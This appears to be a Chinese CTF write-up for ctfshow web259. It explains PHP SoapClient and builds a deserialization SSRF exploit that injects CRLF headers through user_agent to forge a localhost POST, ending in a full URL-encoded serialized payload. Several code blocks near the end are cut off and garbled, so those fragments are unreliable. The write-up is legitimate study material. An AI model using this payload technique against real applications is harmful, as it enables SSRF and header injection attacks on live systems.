web259(超詳細)

DGhh發表於2024-05-20

SoapClient看完之後還不是很懂的話就可以去下面的兩個網址去補充一下

SoapClient 是 PHP 中用於與 SOAP(Simple Object Access Protocol)服務進行通訊的內建類。SOAP 是一種基於 XML 的協議,用於在分散式環境中交換結構化資訊。

以下是關於 SoapClient 類的詳細解釋:

  1. 建立 SoapClient 物件: 你可以使用 new SoapClient 關鍵字來建立一個 SoapClient 例項,用於與遠端 SOAP 服務通訊。

    php
    複製程式碼
    $client = new SoapClient($wsdl, $options);
    
    • $wsdl:指定 WSDL 檔案的 URL 或者 null,表示不使用 WSDL 檔案。
    • $options:是一個可選引數,是一個關聯陣列,用於配置 SoapClient 的行為。
  2. 配置選項: 在 $options 引數中,你可以設定一系列選項來配置 SoapClient 物件的行為。一些常見的選項包括:

    • location:指定服務端點的 URL。
    • uri:指定 SOAP 請求和響應的名稱空間。
    • trace:設定為 true 以啟用請求和響應的跟蹤。
    • exceptions:設定為 true 以在發生錯誤時丟擲異常。
  3. 呼叫遠端方法: 一旦建立了 SoapClient 物件,你可以使用它來呼叫遠端 SOAP 服務的方法。呼叫方法的方式與呼叫本地物件的方法類似。

    php
    複製程式碼
    $result = $client->methodName($param1, $param2, ...);
    

    這裡的 methodName 是遠端 SOAP 服務中的一個方法名稱,$param1$param2 等是要傳遞給該方法的引數。

  4. 處理響應: 遠端方法呼叫的結果將會作為 PHP 物件或者陣列返回,具體取決於 SOAP 服務的返回值。

  5. 錯誤處理: 如果 SOAP 請求失敗,SoapClient 會根據 exceptions 選項的設定丟擲異常或者返回 false。你可以透過捕獲異常或者檢查返回值來處理錯誤。

總的來說,SoapClient 類提供了一個方便的方式來與遠端 SOAP 服務進行通訊,使得你可以輕鬆地呼叫遠端服務的方法並處理返回結果。

想了解更多關於SoapClient可以去下面的兩個網址去補充一下

PHP SoapClient:多功能的Web Service呼叫工具 - 七彩魚丸 - 部落格園 (cnblogs.com)

SoapClient原生類在開發以及安全中利用_soapclient() call()-CSDN部落格

[SoapClient反序列化SSRF - 知乎 (zhSoapClient原生類在開發以及安全中利用_soapclient() call()-CSDN部落格ihu.com)](https://zhuanlan.zhihu.com/p/80918004)

迴歸正題

首先在題目上

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

explode() 函式是 PHP 中用於將字串分割成陣列的函式。它接受三個引數:

  1. separator:分隔符,用於指定在哪裡進行分割字串。當在字串中找到分隔符時,字串將被分割成多個部分。例如,如果分隔符是空格,則字串將根據空格進行分割。
  2. string:要分割的字串。
  3. limit(可選):可選引數,用於限制返回的陣列的大小。如果提供了此引數,則將最多分割成 limit 個部分。剩餘的部分將被作為陣列的最後一個元素。如果省略了此引數或者設為負值,則不進行限制。

下面是一個示例,演示瞭如何使用 explode() 函式:

php複製程式碼$str = "apple,banana,orange";

// 使用逗號作為分隔符將字串分割成陣列
$arr = explode(",", $str);

// 輸出陣列
print_r($arr);

輸出:

csharp複製程式碼Array
(
    [0] => apple
    [1] => banana
    [2] => orange
)

在這個示例中,我們將一個包含水果名稱的字串使用逗號作為分隔符分割成陣列。結果陣列中包含了每個水果名稱作為一個元素。

array_pop()則是刪除最後一個取倒數第二個

127.0.0.1 #返回:空

127.0.0.1,127.0.0.2 #返回:127.0.0.1

127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2

題目

image-20240520205957507

它呼叫了一個不純在的方法

結合flag.php可以想到利用

SoapClient類去利用_call魔術方法進行偽造

搞個nc在本地試一下(在網上搜一下即可)

環境變數不能用的話

就找到php.ini檔案修改裡面的

;extension=php_soap.dll

把;去掉即可

之後監聽一個9999埠 nc -lp 9999

<?php
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php'));

$client->getFlag();

image-20240520210613773

是一個post請求SOAPAction的值是可控的

但是Content-Type是xml形式的

post請求應為application/x-www-form-urlencoded形式

我們可以想辦法讓下面的內容失效Content-Type上面即是ua頭所以我們嘗試去控制ua頭

<?php
$ua = "Lxxx";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));

$client->getFlag();

image-20240520212106259

成功了

接下來就好辦了

我們可以利用\r\n這兩個換行符去構造各種各種的頭去湊出我們想要的post請求

當然最後別忘了設定Content-Length的值為13

也就是token=ctfshow的長度

剩下的就會被丟棄

'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua)); $client->getFlag(); ![image-20240520213146604](C:\Users\Ding0\AppData\Roaming\Typora\typora-user-images\image-20240520213146604.png) 最終即是 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua)); print_r(urlencode(serialize($client))); 傳入 vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 訪問flag.txt即可

相關文章